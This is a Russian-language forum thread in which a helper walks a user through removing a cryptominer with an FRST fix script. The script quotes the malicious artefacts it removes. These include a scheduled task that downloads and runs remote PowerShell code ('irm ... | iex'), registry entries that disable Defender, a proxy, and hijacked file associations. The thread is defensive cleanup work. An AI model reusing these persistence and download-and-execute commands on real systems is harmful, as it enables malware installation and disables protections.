Майнер с названием WinAIHService

[Shieteu]

Столкнулся на днях с тем,то что в системе появился майнер с названием WinAIHService.exe, пытался самостоятельно удалить файлы, удалять его из автозагрузки и параметр на автозагрузку в реестре, все безуспешно, вот архив с логом от автологгера:CollectionLog-2025.10.03-11.35.zip

[Shieteu]

Также прикреплю отчеты от FRSTAddition and FRST.rar

[Sandor]

Здравствуйте!

 

Примите к сведению - после выполнения скрипта (возможно) все открытые вкладки браузеров будут закрыты, произойдет выход из аккаунтов, временные файлы, корзина, история браузеров, куки и кэш будут очищены.

• Отключите до перезагрузки антивирус.
• Выделите следующий код:

  Start::
  CloseProcesses:
  SystemRestore: On
  CreateRestorePoint:
  HKLM\SOFTWARE\Microsoft\Windows Defender: [DisableAntiSpyware] Ограничение <==== ВНИМАНИЕ
  HKLM\SOFTWARE\Microsoft\Windows Defender: [DisableAntiVirus] Ограничение <==== ВНИМАНИЕ
  HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Ограничение <==== ВНИМАНИЕ
  Task: {9CE57D0D-15D3-4459-9FAE-F10CD6294626} - System32\Tasks\Microsoft\Office\Office Persistent Activation => C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe [454656 2025-09-10] (Microsoft Windows -> Microsoft Corporation) -> -Command "irm hxxps://activate.techias.co.uk/ | iex" <==== ВНИМАНИЕ
  ProxyServer: [S-1-5-21-3259035200-1569438540-2830552035-1001] => hxxp://127.0.0.1:12334
  RemoveProxy:
  CHR StartupUrls: Default -> "hxxp://mypoisk.su/"
  S3 PDFWKRNL; \??\C:\WINDOWS\SystemTemp\USBCPDFW\pdfwkrnl.sys [X]
  AlternateDataStreams: C:\WINDOWS\tracing:? [16]
  HKU\S-1-5-21-3259035200-1569438540-2830552035-1001\Software\Classes\regfile:  <==== ВНИМАНИЕ
  HKU\S-1-5-21-3259035200-1569438540-2830552035-1001\Software\Classes\.reg:  =>  <==== ВНИМАНИЕ
  HKU\S-1-5-21-3259035200-1569438540-2830552035-1001\Software\Classes\.bat:  =>  <==== ВНИМАНИЕ
  HKU\S-1-5-21-3259035200-1569438540-2830552035-1001\Software\Classes\.cmd:  =>  <==== ВНИМАНИЕ
  FirewallRules: [{fceb0998-b671-4fdc-95b3-eb458e687d28}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
  FirewallRules: [{a1d0f5ea-3f97-4a01-a4af-e4353d001be9}] => (Allow) C:\ProgramData\CAAService\CAAServices.exe => Нет файла
  FirewallRules: [{ADB0A096-466F-40C0-A130-4BED1EBC728E}] => (Allow) C:\Users\Shieteu\AppData\Roaming\BitTorrent\BitTorrent.exe => Нет файла
  FirewallRules: [{BD201553-3891-4759-9E80-4A098C532495}] => (Allow) C:\Users\Shieteu\AppData\Roaming\BitTorrent\BitTorrent.exe => Нет файла
  EmptyTemp:
  Reboot:
  End::

   

• Скопируйте выделенный текст (правой кнопкой - Копировать).
• Запустите FRST (FRST64) от имени администратора.
• Нажмите Исправить (Fix) один раз (!) и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.

Компьютер будет перезагружен автоматически.

Подробнее читайте в этом руководстве.

[Shieteu]

Fixlog.txtВот файл

 

[Sandor]

Сделайте полную проверку с помощью KVRT. Если будут обнаружения, папку C:\KVRT2020_Data\Reports упакуйте в архив и прикрепите к следующему сообщению.

 

p.s.

Вы напрасно выполняли скрипты, написанные для других пользователей.

Скрипты в этом разделе пишутся индивидуально и, выполняя чужой, в лучшем случае ничего не произойдёт, а в худшем вы рискуете повредить систему.